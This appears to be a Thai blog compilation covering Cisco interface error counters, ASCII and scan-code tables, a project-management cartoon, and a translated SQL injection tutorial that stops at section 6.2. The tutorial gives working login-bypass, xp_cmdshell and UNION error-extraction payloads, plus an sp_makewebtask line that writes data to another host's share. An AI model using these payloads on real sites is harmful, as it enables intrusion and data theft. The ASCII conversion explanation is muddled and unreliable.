Packet ที่ error มีแบบไหนบ้าง

อ้างอิง http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html

สมมติ กรณีอินเทอร์เฟซแบบอีเธอร์เน็ต จากตัวอย่างการแสดงผลด้วยคำสั่ง show interface …

Ranet-SW#sh int fa0/3
FastEthernet0/3 is up, line protocol is up (connected)
Hardware is Fast Ethernet, address is 0008.a372.a783 (bia 0008.a372.a783)
MTU 1500 bytes, BW 100000 Kbit, DLY 100 usec,
reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
Full-duplex, 100Mb/s, media type is 100BaseTX
input flow-control is unsupported output flow-control is unsupported
ARP type: ARPA, ARP Timeout 04:00:00
Last input 1w4d, output 00:00:01, output hang never
Last clearing of “show interface” counters never
Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0
Queueing strategy: fifo
Output queue: 0/40 (size/max)
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
1355512 packets input, 313295065 bytes, 0 no buffer
Received 38624 broadcasts (0 multicast)
0 runts, 0 giants, 0 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
0 watchdog, 18791 multicast, 0 pause input
0 input packets with dribble condition detected
4084867 packets output, 1477123478 bytes, 0 underruns
0 output errors, 0 collisions, 2 interface resets
0 babbles, 0 late collision, 0 deferred
0 lost carrier, 0 no carrier, 0 PAUSE output
0 output buffer failures, 0 output buffers swapped out

คำสั่ง show int status

Ranet-SW#sh int status
Port      Name               Status       Vlan       Duplex  Speed Type
Fa0/1                        notconnect   1            auto   auto 10/100BaseTX
Fa0/2                        notconnect   1            auto   auto 10/100BaseTX
Fa0/3                        connected    1          a-full  a-100 10/100BaseTX
Fa0/4                        notconnect   1            auto   auto 10/100BaseTX
Fa0/5                        notconnect   1            auto   auto 10/100BaseTX
Fa0/6                        connected    1          a-full  a-100 10/100BaseTX
Fa0/7                        notconnect   1            auto   auto 10/100BaseTX

คำสั่ง show int … counters

Ranet-SW#sh int fa0/3 counters
Port            InOctets   InUcastPkts   InMcastPkts   InBcastPkts
Fa0/3          313295065       1316888         18791         19833

Port           OutOctets  OutUcastPkts  OutMcastPkts  OutBcastPkts
Fa0/3         1477356552       1851375       1572316        663425

คำสั่ง show int … counters errors

Ranet-SW#sh int fa0/16 counters errors
Port        Align-Err    FCS-Err   Xmit-Err    Rcv-Err UnderSize
Fa0/16              0         32          0         33         0

Port      Single-Col Multi-Col  Late-Col Excess-Col Carri-Sen     Runts    Giants
Fa0/16             0         0         0          0         7         0         0

1. ข้อความ “Ethernet .. is (up/down/administratively down) (disabled)”:
– บอกสถานะการเชื่อมต่อทางกายภาพ (เช่น เชื่อมต่อกับปลายทางได้ในระดับ Physical)
– ถ้าเป็น “administratively down” แสดงว่ามีคำสั่ง “shutdown” ค้างอยู่ในคอนฟิกของอินเทอร์เฟซนี้
(ต้องสั่ง “no shutdown” ถึงเปิดใช้อินเทอร์เฟซได้)
– ถ้าเป็น “down (disabled)” แสดงว่าอุปกรณ์พบเฟรม Error มากถึง 5,000 เฟรมในช่วงเวลา 10 วินาที (Keepalive)

2. ข้อความ “line protocol is (up/down)”:
– สถานะที่ตัวโปรโตคอลระดับ Data-Link เชื่อได้ว่าอินเทอร์เฟซทำงานได้ (ส่วนใหญ่เกิดจากการรับเฟรม Keepalive จากฝั่งตรงข้ามได้อยู่)
– ถ้าเกิดระบุว่า down (err-disabled) แสดงว่าโดนปิดจากการละเมิดฟีเจอร์ที่ตั้งค่าไว้ (Violation) เช่น Port-Security ถ้าต้องการให้อัพขึ้นใหม่ นอกจากต้องแก้ไขการตั้งค่าฟีเจอร์นั้น หรือกำจัดเงื่อนไขที่ทำให้โดนบล็อกพอร์ตแล้ว ต้องเข้าไปรีเซ็ตสถานะพอร์ตใหม่ด้วย (เข้าไปที่โหมดคอนฟิกอินเทอร์เฟซ สั้ง “shutdown” แล้ว “no shutdown” อีกครั้ง)

3. ถ้าเจอ Throttle, Overrun, Ignored มีความเป็นไปได้ว่าใช้แบนด์วิธมากเกินกว่า Backplane (Forwarding Bandwidth) ตามสเปกที่รับได้ (คือ I/O Buffer โดนใช้จนเต็ม จึงต้องไปแย่ง Process Memory ด้วย ทำให้ซีพียูต้องมาประมวลผลแยกแพ๊กเก็ตที่บัพเฟอร์ในส่วนของตัวเองกลับอีก)

err-disable ที่ int เกิดจากสาเหตุอะไร

SW-C2960#sh int gi0/2
GigabitEthernet0/2 is down, line protocol is down (err-disabled)
Hardware is Gigabit Ethernet, address is 0018.73c1.3a82 (bia 0018.73c1.3a82)
MTU 1500 bytes, BW 1000000 Kbit, DLY 10 usec,
reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive not set
Auto-duplex, Auto-speed, link type is auto, media type is 1000BaseSX SFP
input flow-control is off, output flow-control is unsupported
ARP type: ARPA, ARP Timeout 04:00:00
Last input never, output never, output hang never
Last clearing of “show interface” counters never
Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0
Queueing strategy: fifo
Output queue: 0/40 (size/max)
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
0 packets input, 0 bytes, 0 no buffer
Received 0 broadcasts (0 multicast)
0 runts, 0 giants, 0 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
0 watchdog, 0 multicast, 0 pause input
0 input packets with dribble condition detected
0 packets output, 0 bytes, 0 underruns
0 output errors, 0 collisions, 1 interface resets
0 babbles, 0 late collision, 0 deferred
0 lost carrier, 0 no carrier, 0 PAUSE output
0 output buffer failures, 0 output buffers swapped out


SW-C2960#sh interfaces status
Port      Name               Status       Vlan       Duplex  Speed Type
Fa0/1                        notconnect   1            auto   auto 10/100BaseTX
Fa0/2                        notconnect   1            auto   auto 10/100BaseTX
Fa0/3                        notconnect   1            auto   auto 10/100BaseTX
Fa0/4                        notconnect   1            auto   auto 10/100BaseTX
Fa0/5                        notconnect   1            auto   auto 10/100BaseTX
Fa0/6                        notconnect   1            auto   auto 10/100BaseTX
Fa0/7                        notconnect   1            auto   auto 10/100BaseTX
Fa0/8                        notconnect   1            auto   auto 10/100BaseTX
Fa0/9                        notconnect   1            auto   auto 10/100BaseTX
Fa0/10                       notconnect   1            auto   auto 10/100BaseTX
Fa0/11                       notconnect   1            auto   auto 10/100BaseTX
Fa0/12                       notconnect   1            auto   auto 10/100BaseTX
Fa0/13                       notconnect   1            auto   auto 10/100BaseTX
Fa0/14                       notconnect   1            auto   auto 10/100BaseTX
Fa0/15                       notconnect   1            auto   auto 10/100BaseTX
Fa0/16                       notconnect   1            auto   auto 10/100BaseTX
Fa0/17                       notconnect   1            auto   auto 10/100BaseTX
Fa0/18                       notconnect   1            auto   auto 10/100BaseTX
Fa0/19                       notconnect   1            auto   auto 10/100BaseTX
Fa0/20                       notconnect   1            auto   auto 10/100BaseTX
Fa0/21                       notconnect   1            auto   auto 10/100BaseTX
Fa0/22                       notconnect   1            auto   auto 10/100BaseTX
Fa0/23                       notconnect   1            auto   auto 10/100BaseTX
Fa0/24                       notconnect   1            auto   auto 10/100BaseTX
Gi0/1                        connected    1          a-full  a-100 10/100/1000BaseTX
Gi0/2                        err-disabled 1            auto   auto 1000BaseSX SFP
SW-C2960#

>>> sh int status err-disabled ดูว่ามัน disable เพราะอะไร

SW-C2960#sh int status  err-disabled
Port      Name               Status       Reason
Gi0/2                        err-disabled gbic-invalid
SW-C2960#

>>> gbic-invalid แสดงว่า GBIC มีปัญหา

หัวข้อการพูดคุย ASCII and IBM PC Scan code

ยกคำพูดมา

รหัส Ascii เป็นอะไรที่สำคัญต่อการเขียนโปรแกรมที่ต้องรับข้อมูลจากคีย์บอร์ด เรามาดูกันดีกว่าว่ามันมีตัวอะไรมั่ง

ASCII Chart

    0   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F 0  NUL SOH STX ETX EOT ENQ ACK BEL BS  HT  LF  VT  FF  CR  SO  SI 1  DLE DC1 DC2 DC3 DC4 NAK SYN ETB CAN EM  SUB ESC FS  GS  RS  US 2   SP  !   "   #   $   %   &   '   (   )   *   +   ,   -   .   / 3   0   1   2   3   4   5   6   7   8   9   :   ;   <   =   >   ? 4   @   A   B   C   D   E   F   G   H   I   J   K   L   M   N   O 5   P   Q   R   S   T   U   V   W   X   Y   Z   [   \   ]   ^   _ 6   `   a   b   c   d   e   f   g   h   i   j   k   l   m   n   o 7   p   q   r   s   t   u   v   w   x   y   z   {   |   }   ~ DEL 

 
หวัง
ว่าคงดูตารางข้างบนออกน่ะ อย่างเช่น ตัว D มันก็จะได้ 44
โดยเราก็ดูเลขที่อยู่หน้าแถวตัว D
ก่อนแล้วค่อยมองเลขที่อยู่หัวคอลั่มข้างบน
แต่ที่ได้มานั้นเป็นเลขฐาน 16 เราต้องมาแปลงเป็นเลขฐาน 10 ก่อนแล้วไปเทียบกับตาราง ASCII อันนี้
 
 
วิธีแปลงจากเลขฐาน 10 เป็น ฐาน 16 ยกตัวอย่างด้วยเลข 44 ฐาน 10
44 <—- 44 มีสองหลัก แต่ละหลักคูณกับ 16^หลัก
4(16^1) 4(16^0) = หลัก 0 = 4
                          = หลัก 1 = 64
 
เสร็จแล้วนำผลที่ได้มารวมกันก็จะได้ 64 + 4 = 68
 
แล้วถ้าแปลงกลับล่ะ?
68 ฐาน 10 แปลงเป็นฐาน 16 ก็ได้
68/16 = 4.25 ผลที่ได้คือ 4 เหลือเศษ 0.25 เอา 0.25 * 16 = 4
4/16 =  0.25 ผลที่ได้คือ 0 เหลือเศษ 0.25 เอา 0.25 * 16 = 4
 
เสร็จแล้วนำคำตอบตัวที่หารครั้งสุดท้ายนำตามด้วยตัวที่หารก่อนหน้านั้นต่อท้ายก็
จะได้คำตอบเท่ากับ = 44
 
IBM PC Keyboard Scan Codes
 
สำหรับคีย์บางตัวบนคีย์บอร์ดแบบ IBM PC นั้นต้องใช้รหัส ASCII ถึงสองตัวด้วยกันอย่างเช่น
 Char.  Decimal Pair     Hex Pair    Char.  Decimal Pair    Hex Pair
ALT-A     (00,30)    (0x00,0x1e)    ALT-B    (00,48)    (0x00,0x30)
ALT-C     (00,46)    (0x00,0x2e)    ALT-D    (00,32)    (0x00,0x20)
ALT-E     (00,18)    (0x00,0x12)    ALT-F    (00,33)    (0x00,0x21)
ALT-G     (00,34)    (0x00,0x22)    ALT-H    (00,35)    (0x00,0x23)
ALT-I     (00,23)    (0x00,0x17)    ALT-J    (00,36)    (0x00,0x24)
ALT-K     (00,37)    (0x00,0x25)    ALT-L    (00,38)    (0x00,0x26)
ALT-M     (00,50)    (0x00,0x32)    ALT-N    (00,49)    (0x00,0x31)
ALT-O     (00,24)    (0x00,0x18)    ALT-P    (00,25)    (0x00,0x19)
ALT-Q     (00,16)    (0x00,0x10)    ALT-R    (00,19)    (0x00,0x13)
ALT-S     (00,31)    (0x00,0x1a)    ALT-T    (00,20)    (0x00,0x14)
ALT-U     (00,22)    (0x00,0x16)    ALT-V    (00,47)    (0x00,0x2f)
ALT-W     (00,17)    (0x00,0x11)    ALT-X    (00,45)    (0x00,0x2d)
ALT-Y     (00,21)    (0x00,0x15)    ALT-Z    (00,44)    (0x00,0x2c)
PgUp      (00,73)    (0x00,0x49)    PgDn     (00,81)    (0x00,0x51)
Home      (00,71)    (0x00,0x47)    End      (00,79)    (0x00,0x4f)
UpArrw    (00,72)    (0x00,0x48)    DnArrw   (00,80)    (0x00,0x50)
LftArrw   (00,75)    (0x00,0x4b)    RtArrw   (00,77)    (0x00,0x4d)
F1        (00,59)    (0x00,0x3b)    F2       (00,60)    (0x00,0x3c)
F3        (00,61)    (0x00,0x3d)    F4       (00,62)    (0x00,0x3e)
F5        (00,63)    (0x00,0x3f)    F6       (00,64)    (0x00,0x40)
F7        (00,65)    (0x00,0x41)    F8       (00,66)    (0x00,0x42)
F9        (00,67)    (0x00,0x43)    F10      (00,68)    (0x00,0x44)
F11       (00,133)   (0x00,0x85)    F12      (00,134)   (0x00,0x86)
ALT-F1    (00,104)   (0x00,0x68)    ALT-F2   (00,105)   (0x00,0x69)
ALT-F3    (00,106)   (0x00,0x6a)    ALT-F4   (00,107)   (0x00,0x6b)
ALT-F5    (00,108)   (0x00,0x6c)    ALT-F6   (00,109)   (0x00,0x6d)
ALT-F7    (00,110)   (0x00,0x6e)    ALT-F8   (00,111)   (0x00,0x6f)
ALT-F9    (00,112)   (0x00,0x70)    ALT-F10  (00,113)   (0x00,0x71)
ALT-F11   (00,139)   (0x00,0x8b)    ALT-F12  (00,140)   (0x00,0x8c)
 
อ่านเนื้อหาเพิ่มเติมได้ที่ http://jimprice.com/jim-asc.shtml#keycodes มี ASCII ทั้งหมดเลย

ภาพที่ควรมีไว้ฝาบ้านของคนที่คิดจะทำ software

ภาพนี้เป็นภาพ classic เลยครับ เพราะมันเป็นการจำลองเหตุการจริง ว่าถ้าผู้ใช้ต้องการพัฒนาอะไรขึ้นมาซักอย่าง ที่แม้แต่ตัวเองก็ไม่รู้ว่าต้องการอะไร แล้วก็มีคนเข้ามาช่วยพัฒนามากมาย มันก็จะเป็นอย่างในภาพครับ (คนที่เป็น customer ก็ควรดูไว้นะนี่)

ดูรูปเต็ม

รูปแรก เป็นความต้องการของผู้ใช้ เค้าคิดมาใกล้เคียงกับสิ่งที่เค้าเคยไปเห็นมาจากนั้นก็เสริมเติมแต่ลงไปอีก เช่นอยากให้นั่งได้หลายๆ คน แต่ก็ไม่ได้บอกตรงๆ แต่กลับบอกว่าให้มีหลายที่นั่ง เอามาซ้อนๆ กัน

รูปที่สอง project leader ของเราเข้าใจผิดไปเล็กน้อยเพราะตอนแรกเค้าไม่รู้ชัดๆ ว่าจะเอาไปใช้ทำอะไร (อาจจะคิดว่าแบบนี้ก็ดีนะ พิงได้ด้วย)

รูปที่สาม System Analyst ก็ฟังความมาจาก Project leader ครับ แต่เค้าพอจะรู้เรื่องเทคนิคอยู่บ้าง ก็จัดการแก้ปัญหาเลย

รูปที่สี่ Programmer จอมขี้เกรียจครับมีความรู้อยู่บ้างก็ปรับเปลี่ยนซะเลย

รูปที่ห้า Consult เค้ารู้ว่าจริงๆควรเป็นอย่างไร แต่ก็ไม่ได้คิดอะไรต่อยอดจากสิ่งที่ตัวเองเคยเห็นมา ก็เอาสิ่งที่รู้มาประกอบร่างกัน

รูปที่หก document ไม่รู้จะเขียนทำไม เขียนไปก็ไม่มีคนอ่าน

รูปที่เจ็ด สิ่งที่ผู้ใช้จะได้ เนื่องจากแก้กันมาหลายตลบ เติมเข้าไปแล้วก็ตัดออก ไปเรื่อยๆ สุดท้ายก็เหลือแค่แกน

รูปที่แปด สิ่งที่ผู้ใช้ต้องจ่าย ทั้งค่าที่ปรึกษา ค่าแก้ไข ค่าอุปกรณ์ และสำคัญที่สุดค่าหมอ (รักษาอาการทางจิต)

รูปที่เก้า ถ้าโครงการทำมาไม่ชัด ก็ไม่อยากมีคนทำมันต่อ ก็จะมี support เท่าที่พอจะมีได้ตามที่ตกลงกัน แต่เนื่องจากไม่มีคนใช้ มันก็ไม่ต้องการ support อยู่แล้ว

รูปที่สิบ ผมคิดว่าภาพที่ชัดๆ แบบนี้ควรอยู่ในใจของทุกคนตั้งแต่ต้น โครงการที่ดีไม่ใช่ต้องคุยให้มากอย่างเดียว แต่ต้องคิดให้หนักด้วยว่าทำแค่ไหนถึงจะไม่มากไป และเก็บความต้องการของผู้ใช้ให้ครบ (ลูกค้าไม่ได้คาดหวังมากอย่างที่เราคิด)

อยากบอกว่าแม้แต่โครงการใหญ่ๆ ที่มีคนเก่งๆ ช่วยกันทำก็มีปัญหานี้เหมือนกัน

คัดลอกจาก : http://www.thaimacdev.com/node/79

SQL – Injection (ความรู้เก่าๆๆเอามาเล่าใหม่)

กล่าวโดยรวมนะครับ
     บทความต่อไปนี้พยายามที่จะช่วยให้ผู้เริ่มต้นที่กำลังเผชิญกับปัญหาเกี่ยวกับการใช้ SQL Injection เพื่อให้เกิด
ประโยชน์ และเพื่อป้องกันการโจมตีจากเทคนิคนี้
Credit
     ข้อมูลเหล่านี้จัดหาและเรียบเรียง โดย SK
รายละเอียด
1.0 นำกันก่อนนะ
     เมื่อระบบเปิดเฉพาะ port 80 คงไม่ต้องมานั่งเสียเวลาให้เปล่าในการควานหาช่องโหว่ เพราะผู้ดูแลระบบก็
คงอุดช่องโหว่ไว้แล้ว ดังนั้นวิธีเดียวคือแฮกผ่านเวปซะเลย SQL injection คือหนทางนึงของการ Hack web ซึ่งไม่ต้อง
การอะไรนอกจาก port 80 วิธีนี้จะโจมตี web application (เช่น ASP, JSP, PHP, CGI, etc) มากกว่าที่จะเป็น
การโจมตีเครื่อง server หรือ services ที่รันบนระบบปฏิบัติการ
     บทความนี้ไม่ได้นำเสนอสิ่งใหม่ SQL Injection ถูกเปิดเผยและใช้กันอย่างกว้างขวาง เราเขียนบทความนี้
เพราะเราต้องการบันทึกการใช้ SQL Injection ไว้เป็นเอกสาร และหวังว่าส่วนหนึ่งของมันจะเป็นประโยชน์กับผู้อื่น คุณ
สามารถหาข้อมูลเพิ่มเติมได้ในหัวข้อ "9.0 ข้อมูลเพิ่มเติม" (ขี้เกียจแปลสรุปเลย)
1.1 SQL Injection คืออะไร
     มันคือ trick ที่จะใส่คำสั่ง SQL ลงไปใน via (Vacation Internet Access ) web pages ที่เป็นไปได้
เวปเพจหลายแห่งรับค่า parameter จากผู้ใช้ และสร้างคำสั่งร้องขอไปยังฐานข้อมูล ยกตัวอย่างกรณี login เวปเพจจะสร้าง
query เพื่อไปตรวจสอบ user กะ pass ใน DB ว่าถูกต้องหรือไม่ ด้วย SQL Injection มันจะเป็นไปได้ที่จะส่ง user
และ pass ที่ถูกสร้างขึ้น ซึ่งจะเปลี่ยน SQL query และ grant (ยินยอม) อะไรทำนองนั้น
1.2 สิ่งที่คุณต้องการ
     web browser อะไรก็ได้
2.0 ควรจะมองหาอะไร
     ต้องมองหาหน้าเวปที่สามารถ submit ได้ เช่น หน้า login, หน้า search, หน้า feedback ฯลฯ บางครั้ง
HTML Page จะใช้คำสั่ง post เพื่อส่งค่า parameter ไปยัง ASP Page อีกหน้าหนึ่ง คุณอาจจะเห็นหรือไม่เห็นค่า
parameter ใน URL อย่างไรก็ตามคุณสามารถตรวจ source code สำหรับ HTML ได้ และมองหา "FORM" ใน
HTML code คุณจะพบเห็นคำสั่งหน้าตาประมาณนี้
     ทุกๆ อย่างที่อยู่ระหว่าง และ มีค่าซึ่งอาจเป็นประโยชน์ก็ได้ (เทคนิคการทำ exploit)
2.1 ทำไงถ้าไม่พบหน้าที่มีช่องทาง Input
     ต้องพยายามมองหาหน้าเพจที่เป็น ASP, JSP, CGI, or PHP พยายามเจาะจงไปที่ URL ที่มีการรับค่า
parameter เช่น :
     http://duck/index.asp?id=10
3.0 คุณจะรู้ได้อย่างไรว่ามีจุดอ่อน
     เริ่มด้วยการทดสอบโดยใส่ค่าอย่างเช่น
     hi’ or 1=1–
     ลงไปในช่อง login หรือ pass หรือ URL ดังกล่าว เช่น
      – Login: hi’ or 1=1–
      – Pass: hi’ or 1=1–
      – http://duck/index.asp?id=hi&#8217; or 1=1–
     ถ้าต้องการทำวิธีนี้เพื่อผ่านเข้าไปพื้นที่ซ่อนไว้ แค่ download source HTML มาเก็บไว้ในเครื่องแล้วแก้
source ตามนี้ เช่น :
     ถ้าโชคดี จะผ่านเข้าไปได้โดยไม่ต้องใช้ user หรือ pass
3.1 แต่ทำไมต้องเป็น ‘ or 1=1–
     เราลองมาดูตัวอย่างอีกอันว่าทำไม ‘ or 1=1– ถึงสำคัญขนาดนี้ นอกจากจะ bypass login แล้ว มันยัง
เป็นไปได้ที่จะทำให้เรามองเห็นข้อมูลที่ไม่เปิดเผยโดยทั่วไปได้ เข้าไปหน้า ASP ที่เข้าไปสู่หน้าเพจอีกหน้าซึ่งมี URL
ประมาณนี้นะครับ :
     http://duck/index.asp?category=food
     ตรง ‘category’ เป็นชื่อตัวแปร และ ‘food’ เป็นค่าที่ส่งให้ตัวแปร ‘category’ ตามคำสั่งนี้ ASP จะ
สร้าง code ตามนี้ (นี่เป็น code ที่เราสร้างขึ้นเพื่อการนี้เท่านั้น…ประมาณว่าของจริงอาจไม่ใช่แบบนี้ก็ได้…แนวๆ..อิอิ)
     v_cat = request("category")
     sqlstr="SELECT * FROM product WHERE PCategory=’" & v_cat & "’"
     set rs=conn.execute(sqlstr)
     เราจะเห็นได้ว่า ตัวแปรจะถูกเก็บไว้ในตัวแปรอีกตัวที่ชื่อ v_cat ดังนั้น SQL statement ควรจะเป็น :
     SELECT * FROM product WHERE PCategory=’food’ (ตรงนี้พวกไม่เคยเล่น query คง
กำลังงง ว่ามันคืออะไร…อุอุอุ…พยายามต่อไปครับ ประเคนมาถึงขนาดนี้แล้ว ที่เหลือก็แค่หาช้อนมาตักเข้าปากเท่านั้น)
     ตาม query นี้ จะทำการดึงฐานข้อมูลแถวที่มี field คำว่า ‘food’ ออกมา
     ที่นี่ เรามาลองเปลี่ยน URL ใหม่เป็นแบบนี้ดูนะครับ
     http://duck/index.asp?category=food&#8217; or 1=1–
     เราจะเห็นว่าตัวแปร v_cat ของเรา จะถูกรวมเป็น "food’ or 1=1– " (จากเดิมคือ
sqlstr="SELECT * FROM product WHERE PCategory=’" & v_cat & "’") ถ้าเราแทนที่ SQL query
อย่างนี้แล้ว เราจะได้ query ใหม่เป็น :
     SELECT * FROM product WHERE PCategory=’food’ or 1=1–‘
     เมื่อได้ query นี้ จะเป็นการเลือกทุกอย่างจากตารางฐานข้อมูลโดยไม่คำนึงถึง ค่า food ตัว "–" (อ่านว่า
double dash ตัวขีดสองขีด) บอก MS SQL Server ให้เลิกสนใจ query ชั่วคราว ซึ่งจะกำจัดตัว single quote (‘)
ตัวสุดท้ายออกไป (ถูกป่าวหว่า) บางครั้ง อาจเป็นไปได้ที่จะแทนที่ "–" ด้วย "#"
     อย่างไรก็ตาม ถ้าหากว่าเขาไม่ใช้ SQL Server หรือคุณไม่สามารถทำ(ให้เลิกสนใจ query ชั่วคราว)ได้ ให้
ลองตัวนี้แทน
     ‘ or ‘a’=’a
     ซึ่งจะทำให้ SQL query เป็น :
     SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’
     ซึ่งจะ return ผลออกมาเหมือนๆ กัน
     คุณสามารถลองเปลี่ยนแปลงได้ตามต่อไปนี้ :
     ‘ or 1=1–
     " or 1=1–
     or 1=1–
     ‘ or ‘a’=’a
     " or "a"="a
     ‘) or (‘a’=’a
4.0 แล้วจะทำ remote execute กับ SQL Injection ยังไงหละ ?
     การที่จะสามารถที่จะ inject คำสั่ง SQL ได้นั้น เราต้องสามารถ execut SQL query ได้… โดยปกติแล้ว
เวปที่ติดตั้ง MS SQL Server นั้นจะถูกรันไว้โดย System ซึ่งมีค่าเท่ากับการที่ Admin เข้าสู่ระบบ Windows เรา
สามารถอาศัยขั้นตอนในการสำรอง(ถูกป่าวหว่า อันนี้งูๆ ปลาๆ ) เช่น master..xp_cmdshell ที่จะทำ remote execute
     ‘; exec master..xp_cmdshell ‘ping 10.10.1.2’–
     ถ้า single quote (‘) ใช้ไม่ได้ให้ลอง double quote (")
     ตัว semi colon (Wink จะเป็นการจบคำสั่ง SQL และอนุญาตให้คุณเริ่มคำสั่งใหม่ได้ หากต้องการตรวจสอบคำสั่ง
ว่าสำเร็จหรือไม่ สามารถทำได้โดย listen ICMP packet ที่ 10.10.1.2 (อันนี้ผมคงต้องใช้โปรแกรมช่วย) ดูว่าถ้ามี packet
ใดๆ จาก server เช่น :
     #tcpdump icmp
     ถ้าไม่รับอะไรเลย แถมมี error message อีกตะหาก เป็นไปได้ว่า Admin ได้จำกัดการเข้าถึงของผู้ใช้เวปด้าน
การทำ stored procedures ไว้เรียบร้อยแล้ว (ปิดช่องโหว่ซะแล้ว …ทำไงต่อหละเนี๊ยะ)
5.0 ทำไงที่จะได้มาซึ่งผลลัพธ์จากการใช้ mySQL query ?
     เป็นไปได้ที่จะใช้ sp_makewebtask เขียน query เข้าไปใน HTML :
     ‘; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
     แต่ IP ของเป้าหมายต้องมี folder ที่เปิด share ไว้แบบ Everyone
6.0 แล้วทำไงจะได้ข้อมูลจาก DB ที่ใช้ ODBC error message หละ ?
     เราสามารถใช้ข้อมูลจาก error message ที่มาจาก MS SQL Server ได้ เพื่อจะได้มาซึ่งข้อมูลที่เราต้องการ
ทดลองเข้าเวปแบบนี้ดูนะ
     http://duck/index.asp?id=10
     เราสามารถลองใช้คำสั่ง UNION จำนวนเต็ม ’10’ ร่วมกับคำสั่งหรือตัวแปรอื่นๆ ได้ (มั่วไปนั่น) :
     http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
     ตาราง INFORMATION_SCHEMA.TABLES ประกอบด้วยข้อมูลของทุกๆ ตารางใน server (ควรศึกษา
เรื่อง DB เพิ่มเติมนะครับ จะมองเห็นภาพเอง) ส่วน field ที่ชื่อ TABLE_NAME นั้นประกอบด้วยชื่อของตารางต่างๆ ใน
ฐานข้อมูลอย่างไม่ต้องสงสัย (ตามระบบของ DB จะมีตารางที่เก็บรายชื่อของตาราง คล้ายสารบัญตารางอะไรทำนองนั้น เพื่อใช้ใน
การอ้างอิงและง่ายต่อการค้นหา) เหตุที่เลือกตารางนี้เพราะเรารู้ว่ามันมีอยู่จริงๆ query คือ
     SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
     มันจะ return ชื่อของตารางแรกในฐานข้อมูล เมื่อเรา UNION คำสั่งนี้กับจำนวนเต็ม 10 แล้ว MS SQL server
จะพยายามแปลง string(nvarchar) ไปเป็น integer (ชนิดของตัวแปล) ซึ่งจะทำให้เกิด error (ความผิดพลาด) ขึ้น (ซึ่งปกติเรา
ไม่สามารถแปลงตัวแปร string ไปเป็น interger ได้) ทำให้ server แสดงข้อความ error ออกมาอย่านี้ :
     Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
     [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.
     /index.asp, line 5
     ข้อความข้างบนนี้แสดงให้เราเห็นได้ว่า มันไม่สามารถแปลงตัวแปร string ไปเป็น integer (แปลงข้อความเป็นตัวเลข)ได้
ในกรณีนี้ เราได้รับชื่อของตารางแรกในฐานข้อมูลมาแล้ว คือ "table 1"
     เพื่อที่จะเอาชื่อของตารางต่อไป เราต้องใช้คำสั่งต่อไปนี้
     http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)–
     เรายังสามารถค้นหาข้อมูลโดยใช้ keyword ทำนองเดียวกันนี้ :
     http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’–
     ซึ่งผลที่ได้รับคือ
     Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
     [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.
     /index.asp, line 5
     ข้อความ ‘%25login%25’ จะถูกมองเห็นเป็น %login% ใน SQL server ในกรณีนี้เราก็จะได้ตารางชื่อ "admin_login"
มาแล้ว
6.1 เราจะทำเหมืองข้อมูล(กรรมวิธีที่ใช้ในการแยกแยะข้อมูลเป็น DB)เกี่ยวกับชื่อ column ในตารางทั้งหมดได้ยังไง ?
     เราสามารถใช้ประโยชน์อีกอย่างหนึ่งจาก INFORMATION_SCHEMA.COLUMNS เพื่อแสดงชื่อ columns
ทั้งหมดออกมา :
     http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–
     ผลที่ได้คือ :
     Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
     [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.
     /index.asp, line 5
     จากผลที่ได้นี้ เราก็จะได้ชื่อ column แรกมา เรายังสามารถใช้ NOT IN () เพื่อจะได้ชื่อ column ถัดไปดังนี้ :
     http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–
     ซึ่งผลที่ได้คือ
     Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
     [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.
     /index.asp, line 5
     เมื่อเราทำไปเรื่อยๆเราก็จะเจอชื่อ column เช่น "password", "details" ซึ่งเราจะรู้ได้ว่าเจอแล้วเมื่อปรากฏข้อความ error ดังนี้
     http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)–
     ผลที่ได้คือ
     Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
     [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
     /index.asp, line 5
6.2 ทำไงถึงจะได้มาซึ่งข้อมูลทุกอย่าง ?
